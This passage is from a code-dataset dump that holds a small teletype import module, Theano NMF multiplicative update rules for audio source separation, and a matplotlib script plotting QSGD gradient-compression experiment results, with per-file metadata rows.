] | 2 | 2020-02-01T20:43:54.000Z | 2020-07-28T17:02:02.000Z | from teletype import IS_WINDOWS
from teletype.io.common import *
if IS_WINDOWS:
from teletype.io.windows import *
else:
from teletype.io.posix import *
| 20.125 | 37 | 0.757764 | 24 | 161 | 5 | 0.416667 | 0.4 | 0.35 | 0.35 | 0.383333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173913 | 161 | 7 | 38 | 23 | 0.902256 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
b5b71907873a055658b112c916269519ab40ed1c | 7,369 | py | Python | single_channel/update_rules.py | TeunKrikke/SourceSeparationNMF | cb5ffb9665c5117f7ba382254ada84ef8d5ae4e0 | [
"MIT"
] | null | null | null | single_channel/update_rules.py | TeunKrikke/SourceSeparationNMF | cb5ffb9665c5117f7ba382254ada84ef8d5ae4e0 | [
"MIT"
] | null | null | null | single_channel/update_rules.py | TeunKrikke/SourceSeparationNMF | cb5ffb9665c5117f7ba382254ada84ef8d5ae4e0 | [
"MIT"
] | null | null | null | import theano as th
from theano import tensor as T
from utils import normal, convolution, normalise_W, normalise_H, shift
def update_w_beta(V, W, H, beta=0, conv=False, norm_W=0, K=0, norm_size=0):
"""
Update W according the beta divergence
Keyword arguments:
V -- the magnitude of the input signal
W -- the frequency matrix for each source F x K
H -- the activation matrix for each source K x N
convolution -- if we want to do convolution we need to add an extra dimension to the W matrix. (default False)
norm_W -- normalise the W matrix with L1 norm (1) or L2 norm (2) (default 0)
beta -- the beta parameter that determines which update rule to use Eucledian (2) Kullback-Leibler (1) Itakura-Saito (0) (default 0)
"""
if conv:
V_hat = convolution(W,H,K)
one_vshape = T.ones(V.shape)
for k in range(K):
if beta == 2:
# W = W .* (V*H')./(W*(H*H'))
W = T.mul(W, T.dot(V, T.transpose(H))/T.dot(W,T.dot(H, T.transpose(H))))
# beta = 1
# W = W .* ((V./V_ap)*H.')./repmat(sum(H,2)',F,1);
# scale = sum(W,1);
elif beta == 1:
# W = T.set_subtensor(W, T.mul(W, T.dot((V/V_hat), T.transpose(shift(H, k))) / T.extra_ops.repeat(shift(H, k).sum(axis=1), V.shape[0]).reshape(W.shape)))
# W[:,:,k] = T.mul(W, T.dot((V/V_hat), T.transpose(shift(H, k))) / T.extra_ops.repeat(shift(H, k).sum(axis=1), V.shape[0]).reshape(W.shape))
W = T.set_subtensor(W[:,:,k], T.mul(W[:,:,k], T.dot((V/V_hat), T.transpose(shift(H, k)))/ T.dot(one_vshape,T.transpose(shift(H,k)))))
# beta = 0
else:
W = T.set_subtensor(W[:,:,k], T.mul(W[:,:,k], T.dot(T.mul(V, T.power(V_hat,beta-2)), T.transpose(shift(H, k))) / T.dot(T.power(V_hat,beta-1), T.transpose(shift(H, k)))))
else:
V_hat = normal(W,H)
# beta = 2
if beta == 2:
# W = W .* (V*H')./(W*(H*H'))
W = T.mul(W, T.dot(V, T.transpose(H))/T.dot(W,T.dot(H, T.transpose(H))))
# beta = 1
# W = W .* ((V./V_ap)*H.')./repmat(sum(H,2)',F,1);
# scale = sum(W,1);
elif beta == 1:
W = T.mul(W, T.dot((V/V_hat), T.transpose(H)) / T.extra_ops.repeat(H.sum(axis=1), V.shape[0]).reshape(W.shape))
# beta = 0
else:
W = T.mul(W, T.dot(T.mul(V, T.power(V_hat,beta-2)), T.transpose(H)) / T.dot(T.power(V_hat,beta-1), T.transpose(H)))
if norm_W > 0:
return normalise_W(W, norm_W, norm_size)
else:
return W
def update_h_beta(V, W, H, beta=0, conv=False, norm_H=0, K=0, norm_size=0):
"""
Update H according the beta divergence
Keyword arguments:
V -- the magnitude of the input signal
W -- the frequency matrix for each source F x K
H -- the activation matrix for each source K x N
convolution -- if we want to do convolution we need to add an extra dimension to the W matrix. (default False)
norm_H -- normalise the H matrix with L1 norm (1) or L2 norm (2) (default 0)
beta -- the beta parameter that determines which update rule to use Eucledian (2) Kullback-Leibler (1) Itakura-Saito (0) (default 0)
"""
if conv:
one_vshape = T.ones(V.shape)
V_hat = convolution(W,H, K)
H_old = H
H = T.zeros(H.shape)
for k in range(K):
# beta = 2
if beta == 2:
# H = H .* (W'* V)./((W'*W)*H);
H = T.mul(H, T.dot(T.transpose(W), V)/T.dot(T.dot(T.transpose(W), W), H))
# beta = 1
elif beta == 1:
# H = H .* (W.'*(V./V_ap))./repmat(scale',1,N);
H = H + T.mul(H_old, (T.dot(T.transpose(W[:,:,k]), shift((V/V_hat), -k)) / T.dot(T.transpose(W[:,:,k]), one_vshape)))
#beta = 0
else:
H = H + T.mul(H_old, T.dot(T.transpose(W[:,:,k]), T.mul(V, T.power(V_hat,beta-2))) / T.dot(T.transpose(W[:,:,k]), T.power(V_hat,beta-1)))
else:
V_hat = normal(W,H)
# beta = 2
if beta == 2:
# H = H .* (W'* V)./((W'*W)*H);
H = T.mul(H, T.dot(T.transpose(W), V)/T.dot(T.dot(T.transpose(W), W), H))
# beta = 1
elif beta == 1:
# H = H .* (W.'*(V./V_ap))./repmat(scale',1,N);
scale = W.sum(axis=0)
H = T.mul(H, T.dot(T.transpose(W), (V/V_hat)) / T.extra_ops.repeat(T.transpose(scale), V.shape[1]).reshape(H.shape))
#beta = 0
else:
H = T.mul(H, T.dot(T.transpose(W), T.mul(V, T.power(V_hat,beta-2))) / T.dot(T.transpose(W), T.power(V_hat,beta-1)))
if norm_H > 0:
return normalise_H(H, norm_H, norm_size)
else:
return H
def update_w_cauchy(V, W, H, beta=0, conv=False, norm_W=0, K=0, norm_size=0):
"""
Update W according for cauchy
Keyword arguments:
V -- the magnitude of the input signal
W -- the frequency matrix for each source F x K
H -- the activation matrix for each source K x N
convolution -- if we want to do convolution we need to add an extra dimension to the W matrix. (default False)
norm_W -- normalise the W matrix with L1 norm (1) or L2 norm (2) (default 0)
beta -- the beta parameter that determines which update rule to use Eucledian (2) Kullback-Leibler (1) Itakura-Saito (0) (default 0)
"""
if conv:
V_hat = convolution(W,H, K)
z = 3 * V_hat / (T.power(V, 2) + T.power(V_hat, 2))
for k in range(K):
# W = T.mul(W, T.dot(T.power(V_hat,-1), T.transpose(H)) / T.dot(z, T.transpose(H)))
W = T.set_subtensor(W[:,:,k], T.mul(W[:,:,k], T.dot(T.power(V_hat,-1), T.transpose(H)) / T.dot(z, T.transpose(H))))
else:
V_hat = normal(W,H)
z = 3 * V_hat / (T.power(V, 2) + T.power(V_hat, 2))
W = T.mul(W, T.dot(T.power(V_hat,-1), T.transpose(H)) / T.dot(z, T.transpose(H)))
if norm_W > 0:
return normalise_W(W, norm_W, norm_size)
else:
return W
def update_h_cauchy(V, W, H, beta=0, conv=False, norm_H=0, K=0, norm_size=0):
"""
Update H according for cauchy
Keyword arguments:
V -- the magnitude of the input signal
W -- the frequency matrix for each source F x K
H -- the activation matrix for each source K x N
convolution -- if we want to do convolution we need to add an extra dimension to the W matrix. (default False)
norm_H -- normalise the H matrix with L1 norm (1) or L2 norm (2) (default 0)
beta -- the beta parameter that determines which update rule to use Eucledian (2) Kullback-Leibler (1) Itakura-Saito (0) (default 0)
"""
if conv:
V_hat = convolution(W,H,K)
z = 3 * V_hat / (T.power(V, 2) + T.power(V_hat, 2))
H_old = H
H = T.zeros(H.shape)
for k in range(K):
H = T.mul(H, T.dot(T.transpose(W[:,:,k]), T.power(V_hat,-1)) / T.dot(T.transpose(W[:,:,k]), z))
else:
V_hat = normal(W,H)
z = 3 * V_hat / (T.power(V, 2) + T.power(V_hat, 2))
H = T.mul(H, T.dot(T.transpose(W), T.power(V_hat,-1)) / T.dot(T.transpose(W), z))
if norm_H > 0:
return normalise_H(H, norm_H, norm_size)
else:
return H
| 41.398876 | 185 | 0.541322 | 1,297 | 7,369 | 3.003855 | 0.07633 | 0.039014 | 0.030801 | 0.043635 | 0.935318 | 0.917864 | 0.892967 | 0.88886 | 0.88886 | 0.872433 | 0 | 0.022083 | 0.287149 | 7,369 | 177 | 186 | 41.632768 | 0.719589 | 0.387841 | 0 | 0.756098 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04878 | false | 0 | 0.036585 | 0 | 0.182927 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a978454cbb9822ecaceb0a4639656be2d5b18b5e | 37,093 | py | Python | utils.py | vineeths96/QSGD | e5b61b1ebfa4288c3c2a9109819b72c13a93b5f7 | [
"MIT"
] | 1 | 2021-12-06T18:51:26.000Z | 2021-12-06T18:51:26.000Z | utils.py | vineeths96/Gradient-Compression | e5b61b1ebfa4288c3c2a9109819b72c13a93b5f7 | [
"MIT"
] | null | null | null | utils.py | vineeths96/Gradient-Compression | e5b61b1ebfa4288c3c2a9109819b72c13a93b5f7 | [
"MIT"
] | null | null | null | import os
import json
import glob
import pickle
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from mpl_toolkits.axes_grid1.inset_locator import (
TransformedBbox,
BboxPatch,
BboxConnector,
)
NUM_REPEATS = 5
label_dict = {
"NoneAllReducer": "AllReduce SGD",
"QSGDMaxNormReducer": "QSGD-MN",
"GlobalRandKMaxNormReducer": "GRandK-MN",
"QSGDMaxNormTwoScaleReducer": "QSGD-MN-TS",
"GlobalRandKMaxNormTwoScaleReducer": "GRandK-MN-TS",
"RankKReducer": "PowerSGD",
}
def mark_inset(parent_axes, inset_axes, loc1a=1, loc1b=1, loc2a=2, loc2b=2, **kwargs):
rect = TransformedBbox(inset_axes.viewLim, parent_axes.transData)
pp = BboxPatch(rect, fill=False, **kwargs)
parent_axes.add_patch(pp)
p1 = BboxConnector(inset_axes.bbox, rect, loc1=loc1a, loc2=loc1b, **kwargs)
inset_axes.add_patch(p1)
p1.set_clip_on(False)
p2 = BboxConnector(inset_axes.bbox, rect, loc1=loc2a, loc2=loc2b, **kwargs)
inset_axes.add_patch(p2)
p2.set_clip_on(False)
return pp, p1, p2
def plot_loss_curves(log_path):
models = ["ResNet50", "VGG16"]
experiment_groups = [glob.glob(f"{log_path}/*{model}") for model in models]
for group_ind, experiment_group in enumerate(experiment_groups):
fig, axes_main = plt.subplots()
# axes_inner = plt.axes([0.65, 0.4, 0.3, 0.3])
# axes_inner_range = list(range(0, 50))
experiment_group.sort()
for ind, experiment in enumerate(experiment_group):
reducer = None
quant_level = None
higher_quant_level = None
compression = None
rank = None
with open(os.path.join(experiment, "success.txt")) as file:
for line in file:
line = line.rstrip()
if line.startswith("reducer"):
reducer = label_dict[line.split(": ")[-1]]
if line.startswith("quantization_level"):
quant_level = line.split(": ")[-1]
if line.startswith("higher_quantization_level"):
higher_quant_level = line.split(": ")[-1]
if line.startswith("compression"):
compression = line.split(": ")[-1]
if line.startswith("rank"):
rank = line.split(": ")[-1]
if higher_quant_level:
label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"])
elif quant_level:
label = " ".join([reducer, quant_level, "bits"])
elif compression:
label = " ".join([reducer, "K:", compression])
elif rank:
label = " ".join([reducer, "Rank", rank])
else:
label = reducer
log_dict = np.load(os.path.join(experiment, "log_dict.npy"), allow_pickle=True)
loss = log_dict[()].get("train_loss")
num_epochs = loss.shape[1]
mean_loss = np.mean(loss, axis=0)
std_dev_loss = np.std(loss, axis=0)
axes_main.plot(np.arange(num_epochs), mean_loss, label=label)
axes_main.fill_between(
np.arange(num_epochs),
mean_loss - std_dev_loss,
mean_loss + std_dev_loss,
alpha=0.25,
)
axes_main.set_ylim(0, 2.5)
# axes_inner.plot(axes_inner_range, mean_loss[axes_inner_range])
# axes_inner.fill_between(
# axes_inner_range,
# mean_loss[axes_inner_range] - std_dev_loss[axes_inner_range],
# mean_loss[axes_inner_range] + std_dev_loss[axes_inner_range],
# alpha=0,
# )
# axes_inner.set_ylim(0, 2.5)
# axes_main.plot(loss, label=label)
# axes_inner.plot(axes_inner_range, mean_loss[axes_inner_range])
# axes_inner.grid()
# mark_inset(
# axes_main,
# axes_inner,
# loc1a=1,
# loc1b=1,
# loc2a=2,
# loc2b=2,
# fc="none",
# ec="0.5",
# )
# axes_main.grid()
axes_main.set_xlabel("Epochs")
axes_main.set_ylabel("Loss")
# axes_main.set_title(f"Loss curve {models[group_ind]}")
axes_main.legend()
plt.tight_layout()
plt.savefig(f"./plots/loss_{models[group_ind]}.svg")
plt.show()
def plot_loss_time_curves(log_path):
models = ["ResNet50", "VGG16"]
experiment_groups = [glob.glob(f"{log_path}/*{model}") for model in models]
for group_ind, experiment_group in enumerate(experiment_groups):
fig, axes_main = plt.subplots()
# axes_inner = plt.axes([0.65, 0.4, 0.3, 0.3])
# axes_inner_range = list(range(0, 50))
experiment_group.sort()
for ind, experiment in enumerate(experiment_group):
reducer = None
quant_level = None
higher_quant_level = None
compression = None
rank = None
with open(os.path.join(experiment, "success.txt")) as file:
for line in file:
line = line.rstrip()
if line.startswith("reducer"):
reducer = label_dict[line.split(": ")[-1]]
if line.startswith("quantization_level"):
quant_level = line.split(": ")[-1]
if line.startswith("higher_quantization_level"):
higher_quant_level = line.split(": ")[-1]
if line.startswith("compression"):
compression = line.split(": ")[-1]
if line.startswith("rank"):
rank = line.split(": ")[-1]
if higher_quant_level:
label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"])
elif quant_level:
label = " ".join([reducer, quant_level, "bits"])
elif compression:
label = " ".join([reducer, "K:", compression])
elif rank:
label = " ".join([reducer, "Rank", rank])
else:
label = reducer
log_dict = np.load(os.path.join(experiment, "log_dict.npy"), allow_pickle=True)
loss = log_dict[()].get("train_loss")
time = log_dict[()].get("time")
num_epochs = loss.shape[1]
for i in reversed(range(1, NUM_REPEATS)):
time[i] -= time[i - 1][-1]
mean_loss = np.mean(loss, axis=0)
std_dev_loss = np.std(loss, axis=0)
time = np.mean(time, axis=0)
axes_main.plot(time, mean_loss, label=label)
axes_main.fill_between(
time,
mean_loss - std_dev_loss,
mean_loss + std_dev_loss,
alpha=0.25,
)
axes_main.set_ylim(0, 2.5)
# axes_inner.plot(time[axes_inner_range], mean_loss[axes_inner_range])
# axes_inner.fill_between(
# time[axes_inner_range],
# mean_loss[axes_inner_range] - std_dev_loss[axes_inner_range],
# mean_loss[axes_inner_range] + std_dev_loss[axes_inner_range],
# alpha=0,
# )
# axes_inner.set_ylim(0, 2.5)
# axes_main.plot(time, loss, label=label)
# axes_inner.plot(time[axes_inner_range], loss[axes_inner_range])
# axes_inner.grid()
# mark_inset(
# axes_main,
# axes_inner,
# loc1a=1,
# loc1b=1,
# loc2a=2,
# loc2b=2,
# fc="none",
# ec="0.5",
# )
# axes_main.grid()
axes_main.set_xlabel("Time")
axes_main.set_ylabel("Loss")
# axes_main.set_title(f"Loss Time curve {models[group_ind]}")
axes_main.legend()
plt.tight_layout()
plt.savefig(f"./plots/loss_time_{models[group_ind]}.svg")
plt.show()
def plot_top1_accuracy_curves(log_path):
models = ["ResNet50", "VGG16"]
experiment_groups = [glob.glob(f"{log_path}/*{model}") for model in models]
for group_ind, experiment_group in enumerate(experiment_groups):
fig, axes_main = plt.subplots()
# axes_inner = plt.axes([0.65, 0.4, 0.3, 0.3])
# axes_inner_range = list(range(0, 50))
experiment_group.sort()
for ind, experiment in enumerate(experiment_group):
reducer = None
quant_level = None
higher_quant_level = None
compression = None
rank = None
with open(os.path.join(experiment, "success.txt")) as file:
for line in file:
line = line.rstrip()
if line.startswith("reducer"):
reducer = label_dict[line.split(": ")[-1]]
if line.startswith("quantization_level"):
quant_level = line.split(": ")[-1]
if line.startswith("higher_quantization_level"):
higher_quant_level = line.split(": ")[-1]
if line.startswith("compression"):
compression = line.split(": ")[-1]
if line.startswith("rank"):
rank = line.split(": ")[-1]
if higher_quant_level:
label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"])
elif quant_level:
label = " ".join([reducer, quant_level, "bits"])
elif compression:
label = " ".join([reducer, "K:", compression])
elif rank:
label = " ".join([reducer, "Rank", rank])
else:
label = reducer
log_dict = np.load(os.path.join(experiment, "log_dict.npy"), allow_pickle=True)
top1_accuracy = log_dict[()].get("test_top1_accuracy") * 100
num_epochs = top1_accuracy.shape[1]
mean_top1_accuracy = np.mean(top1_accuracy, axis=0)
std_dev_top1_accuracy = np.std(top1_accuracy, axis=0)
axes_main.plot(np.arange(num_epochs), mean_top1_accuracy, label=label)
axes_main.fill_between(
np.arange(num_epochs),
mean_top1_accuracy - std_dev_top1_accuracy,
mean_top1_accuracy + std_dev_top1_accuracy,
alpha=0.25,
)
# axes_inner.plot(axes_inner_range, mean_top1_accuracy[axes_inner_range])
# axes_inner.fill_between(
# axes_inner_range,
# mean_top1_accuracy[axes_inner_range] - std_dev_top1_accuracy[axes_inner_range],
# mean_top1_accuracy[axes_inner_range] + std_dev_top1_accuracy[axes_inner_range],
# alpha=0,
# )
# axes_main.plot(top1_accuracy, label=label)
# axes_inner.plot(axes_inner_range, top1_accuracy[axes_inner_range])
# axes_inner.grid()
# mark_inset(
# axes_main,
# axes_inner,
# loc1a=1,
# loc1b=1,
# loc2a=2,
# loc2b=2,
# fc="none",
# ec="0.5",
# )
# axes_main.grid()
axes_main.set_xlabel("Epochs")
axes_main.set_ylabel("Test Accuracy (%)")
# axes_main.set_title(f"Accuracy curve {models[group_ind]}")
axes_main.legend()
plt.tight_layout()
plt.savefig(f"./plots/top1_{models[group_ind]}.svg")
plt.show()
def plot_top5_accuracy_curves(log_path):
models = ["ResNet50", "VGG16"]
experiment_groups = [glob.glob(f"{log_path}/*{model}") for model in models]
for group_ind, experiment_group in enumerate(experiment_groups):
fig, axes_main = plt.subplots()
# axes_inner = plt.axes([0.65, 0.4, 0.3, 0.3])
# axes_inner_range = list(range(0, 50))
experiment_group.sort()
for ind, experiment in enumerate(experiment_group):
reducer = None
quant_level = None
higher_quant_level = None
compression = None
rank = None
with open(os.path.join(experiment, "success.txt")) as file:
for line in file:
line = line.rstrip()
if line.startswith("reducer"):
reducer = label_dict[line.split(": ")[-1]]
if line.startswith("quantization_level"):
quant_level = line.split(": ")[-1]
if line.startswith("higher_quantization_level"):
higher_quant_level = line.split(": ")[-1]
if line.startswith("compression"):
compression = line.split(": ")[-1]
if line.startswith("rank"):
rank = line.split(": ")[-1]
if higher_quant_level:
label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"])
elif quant_level:
label = " ".join([reducer, quant_level, "bits"])
elif compression:
label = " ".join([reducer, "K:", compression])
elif rank:
label = " ".join([reducer, "Rank", rank])
else:
label = reducer
log_dict = np.load(os.path.join(experiment, "log_dict.npy"), allow_pickle=True)
top5_accuracy = log_dict[()].get("test_top5_accuracy") * 100
num_epochs = top5_accuracy.shape[1]
mean_top5_accuracy = np.mean(top5_accuracy, axis=0)
std_dev_top5_accuracy = np.std(top5_accuracy, axis=0)
axes_main.plot(np.arange(num_epochs), mean_top5_accuracy, label=label)
axes_main.fill_between(
np.arange(num_epochs),
mean_top5_accuracy - std_dev_top5_accuracy,
mean_top5_accuracy + std_dev_top5_accuracy,
alpha=0.25,
)
# axes_inner.plot(axes_inner_range, mean_top5_accuracy[axes_inner_range])
# axes_inner.fill_between(
# axes_inner_range,
# mean_top5_accuracy[axes_inner_range] - std_dev_top5_accuracy[axes_inner_range],
# mean_top5_accuracy[axes_inner_range] + std_dev_top5_accuracy[axes_inner_range],
# alpha=0,
# )
# axes_main.plot(top5_accuracy, label=label)
# axes_inner.plot(axes_inner_range, top5_accuracy[axes_inner_range])
# axes_inner.grid()
# mark_inset(
# axes_main,
# axes_inner,
# loc1a=1,
# loc1b=1,
# loc2a=2,
# loc2b=2,
# fc="none",
# ec="0.5",
# )
# axes_main.grid()
axes_main.set_xlabel("Epochs")
axes_main.set_ylabel("Test Accuracy (%)")
# axes_main.set_title(f"Accuracy curve {models[group_ind]}")
axes_main.legend()
plt.tight_layout()
plt.savefig(f"./plots/top5_{models[group_ind]}.svg")
plt.show()
def plot_top1_accuracy_time_curves(log_path):
models = ["ResNet50", "VGG16"]
experiment_groups = [glob.glob(f"{log_path}/*{model}") for model in models]
for group_ind, experiment_group in enumerate(experiment_groups):
fig, axes_main = plt.subplots()
# axes_inner = plt.axes([0.65, 0.4, 0.3, 0.3])
# axes_inner_range = list(range(0, 50))
experiment_group.sort()
for ind, experiment in enumerate(experiment_group):
reducer = None
quant_level = None
higher_quant_level = None
compression = None
rank = None
with open(os.path.join(experiment, "success.txt")) as file:
for line in file:
line = line.rstrip()
if line.startswith("reducer"):
reducer = label_dict[line.split(": ")[-1]]
if line.startswith("quantization_level"):
quant_level = line.split(": ")[-1]
if line.startswith("higher_quantization_level"):
higher_quant_level = line.split(": ")[-1]
if line.startswith("compression"):
compression = line.split(": ")[-1]
if line.startswith("rank"):
rank = line.split(": ")[-1]
if higher_quant_level:
label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"])
elif quant_level:
label = " ".join([reducer, quant_level, "bits"])
elif compression:
label = " ".join([reducer, "K:", compression])
elif rank:
label = " ".join([reducer, "Rank", rank])
else:
label = reducer
log_dict = np.load(os.path.join(experiment, "log_dict.npy"), allow_pickle=True)
top1_accuracy = log_dict[()].get("test_top1_accuracy") * 100
time = log_dict[()].get("time")
num_epochs = top1_accuracy.shape[1]
for i in reversed(range(1, NUM_REPEATS)):
time[i] -= time[i - 1][-1]
mean_top1_accuracy = np.mean(top1_accuracy, axis=0)
std_dev_top1_accuracy = np.std(top1_accuracy, axis=0)
time = np.mean(time, axis=0)
axes_main.plot(time, mean_top1_accuracy, label=label)
axes_main.fill_between(
time,
mean_top1_accuracy - std_dev_top1_accuracy,
mean_top1_accuracy + std_dev_top1_accuracy,
alpha=0.25,
)
# axes_inner.plot(time[axes_inner_range], mean_top1_accuracy[axes_inner_range])
# axes_inner.fill_between(
# time[axes_inner_range],
# mean_top1_accuracy[axes_inner_range] - std_dev_top1_accuracy[axes_inner_range],
# mean_top1_accuracy[axes_inner_range] + std_dev_top1_accuracy[axes_inner_range],
# alpha=0,
# )
# axes_main.plot(time, top1_accuracy, label=label)
# axes_inner.plot(time[axes_inner_range], top1_accuracy[axes_inner_range])
# axes_inner.grid()
# mark_inset(
# axes_main,
# axes_inner,
# loc1a=1,
# loc1b=1,
# loc2a=2,
# loc2b=2,
# fc="none",
# ec="0.5",
# )
# axes_main.grid()
axes_main.set_xlabel("Time (sec)")
axes_main.set_ylabel("Test Accuracy (%)")
# axes_main.set_title(f"Accuracy Time curve {models[group_ind]}")
axes_main.legend()
plt.tight_layout()
plt.savefig(f"./plots/top1_time_{models[group_ind]}.svg")
plt.show()
def plot_time_breakdown(log_path):
time_labels = [
"batch",
# "batch.accumulate",
"batch.forward",
"batch.backward",
"batch.reduce",
"batch.evaluate",
"batch.step",
]
models = ["ResNet50", "VGG16"]
[plt.figure(num=ind) for ind in range(len(models))]
experiment_groups = [glob.glob(f"{log_path}/*{model}") for model in models]
events = np.arange(len(time_labels))
width = 0.1
for group_ind, experiment_group in enumerate(experiment_groups):
plt.figure(num=group_ind)
experiment_group.sort()
num_experiments = len(experiment_group) - 1
for ind, experiment in enumerate(experiment_group):
reducer = None
quant_level = None
higher_quant_level = None
compression = None
rank = None
with open(os.path.join(experiment, "success.txt")) as file:
for line in file:
line = line.rstrip()
if line.startswith("reducer"):
reducer = label_dict[line.split(": ")[-1]]
if line.startswith("quantization_level"):
quant_level = line.split(": ")[-1]
if line.startswith("higher_quantization_level"):
higher_quant_level = line.split(": ")[-1]
if line.startswith("compression"):
compression = line.split(": ")[-1]
if line.startswith("rank"):
rank = line.split(": ")[-1]
if higher_quant_level:
label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"])
elif quant_level:
label = " ".join([reducer, quant_level, "bits"])
elif compression:
label = " ".join([reducer, "K:", compression])
elif rank:
label = " ".join([reducer, "Rank", rank])
else:
label = reducer
time_df = pd.read_json(os.path.join(experiment, "timer_summary_0.json")).loc["average_duration"]
time_values = time_df[time_labels].values
plt.bar(
events + (ind - num_experiments / 2) * width,
time_values,
width,
label=label,
)
# plt.grid()
time_labels_axis = [time_label.split(".")[-1] for time_label in time_labels]
plt.xticks(events, time_labels_axis)
plt.ylabel("Average Time (sec)")
# plt.title(f"Time breakdown {models[group_ind]}")
plt.legend()
plt.tight_layout()
plt.savefig(f"./plots/time_breakdown_{models[group_ind]}.svg")
plt.show()
def plot_time_scalability(log_path):
time_labels = ["batch"]
models = ["ResNet50", "VGG16"]
# instances = ["P2", "P3", "P2 Multi Node", "P3 Multi Node"]
instances = ["P3", "P3 Multi Node"]
for instance in instances:
GPUs = os.listdir(os.path.join(log_path, instance))
GPUs.sort()
width = 0.1
events = np.arange(len(GPUs))
time_dfs = {model: None for model in models}
experiment_groups = [glob.glob(f"{log_path}/{instance}/*/*{model}") for model in models]
for group_ind, experiment_group in enumerate(experiment_groups):
time_results = []
compressor_ind_map = {}
latest_compressor_ind = 0
experiment_group.sort()
for ind, experiment in enumerate(experiment_group):
reducer = None
quant_level = None
higher_quant_level = None
compression = None
rank = None
num_epochs = None
with open(os.path.join(experiment, "success.txt")) as file:
for line in file:
line = line.rstrip()
if line.startswith("reducer"):
reducer = label_dict[line.split(": ")[-1]]
if line.startswith("quantization_level"):
quant_level = line.split(": ")[-1]
if line.startswith("higher_quantization_level"):
higher_quant_level = line.split(": ")[-1]
if line.startswith("compression"):
compression = line.split(": ")[-1]
if line.startswith("num_epochs"):
num_epochs = int(line.split(": ")[-1])
if line.startswith("rank"):
rank = line.split(": ")[-1]
if higher_quant_level:
label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"])
elif quant_level:
label = " ".join([reducer, quant_level, "bits"])
elif compression:
label = " ".join([reducer, "K:", compression])
elif rank:
label = " ".join([reducer, "Rank", rank])
else:
label = reducer
if not label in compressor_ind_map:
time_results.append([])
compressor_ind_map[label] = latest_compressor_ind
latest_compressor_ind += 1
time_df = pd.read_json(os.path.join(experiment, "timer_summary.json")).loc["total_time"]
time_values = time_df[time_labels].values / num_epochs
time_results[compressor_ind_map[label]].append(float(time_values))
time_dfs[models[group_ind]] = pd.DataFrame(time_results, index=compressor_ind_map.keys())
for df_key in time_dfs:
plt.figure()
time_df = time_dfs[df_key]
num_compressors = len(time_df) - 1
for ind, (label, values) in enumerate(time_df.iterrows()):
values = values.to_list()
plt.bar(
events + (ind - num_compressors / 2) * width,
values,
width,
label=label,
)
# plt.grid()
plt.xticks(events, GPUs)
plt.ylabel("Time per Epoch (sec)")
# plt.title(f"Time Scalability {df_key} {instance}")
plt.legend()
plt.tight_layout()
plt.savefig(f"./plots/time_scalability_{df_key}_{instance}.svg")
plt.show()
def plot_throughput_scalability(log_path):
time_labels = ["batch"]
models = ["ResNet50", "VGG16"]
# instances = ["P2", "P3", "P2 Multi Node", "P3 Multi Node"]
instances = ["P3", "P3 Multi Node"]
for instance in instances:
GPUs = os.listdir(os.path.join(log_path, instance))
GPUs.sort()
width = 0.1
events = np.arange(len(GPUs))
throughput_dfs = {model: None for model in models}
experiment_groups = [glob.glob(f"{log_path}/{instance}/*/*{model}") for model in models]
for group_ind, experiment_group in enumerate(experiment_groups):
throughput_results = []
compressor_ind_map = {}
latest_compressor_ind = 0
experiment_group.sort()
for ind, experiment in enumerate(experiment_group):
reducer = None
quant_level = None
higher_quant_level = None
compression = None
rank = None
with open(os.path.join(experiment, "success.txt")) as file:
for line in file:
line = line.rstrip()
if line.startswith("reducer"):
reducer = label_dict[line.split(": ")[-1]]
if line.startswith("quantization_level"):
quant_level = line.split(": ")[-1]
if line.startswith("higher_quantization_level"):
higher_quant_level = line.split(": ")[-1]
if line.startswith("compression"):
compression = line.split(": ")[-1]
if line.startswith("rank"):
rank = line.split(": ")[-1]
if higher_quant_level:
label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"])
elif quant_level:
label = " ".join([reducer, quant_level, "bits"])
elif compression:
label = " ".join([reducer, "K:", compression])
elif rank:
label = " ".join([reducer, "Rank", rank])
else:
label = reducer
if not label in compressor_ind_map:
throughput_results.append([])
compressor_ind_map[label] = latest_compressor_ind
latest_compressor_ind += 1
time_df = pd.read_json(os.path.join(experiment, "timer_summary.json")).loc["average_duration"]
num_GPUs = int(experiment.split("/")[5].split()[0])
throughput = (128 * num_GPUs) / time_df[time_labels].values
throughput_results[compressor_ind_map[label]].append(int(throughput))
throughput_dfs[models[group_ind]] = pd.DataFrame(throughput_results, index=compressor_ind_map.keys())
for df_key in throughput_dfs:
plt.figure()
throughput_df = throughput_dfs[df_key]
num_compressors = len(throughput_df) - 1
for ind, (label, values) in enumerate(throughput_df.iterrows()):
values = values.to_list()
plt.bar(
events + (ind - num_compressors / 2) * width,
values,
width,
label=label,
)
# plt.grid()
plt.xticks(events, GPUs)
plt.ylabel("Images per sec")
# plt.title(f"Throughput Scalability {df_key} {instance}")
plt.legend()
plt.tight_layout()
plt.savefig(f"./plots/throughput_scalability_{df_key}_{instance}.svg")
plt.show()
def plot_performance_modelling(log_path):
models = ["ResNet50", "VGG16"]
instances = ["P3"] # , "P3 Multi Node"]
batch_size = 128
inter_gpu_bw = 200 * 1024
gpu_cpu_bw = 11 * 1024
network_latency = 9e-3
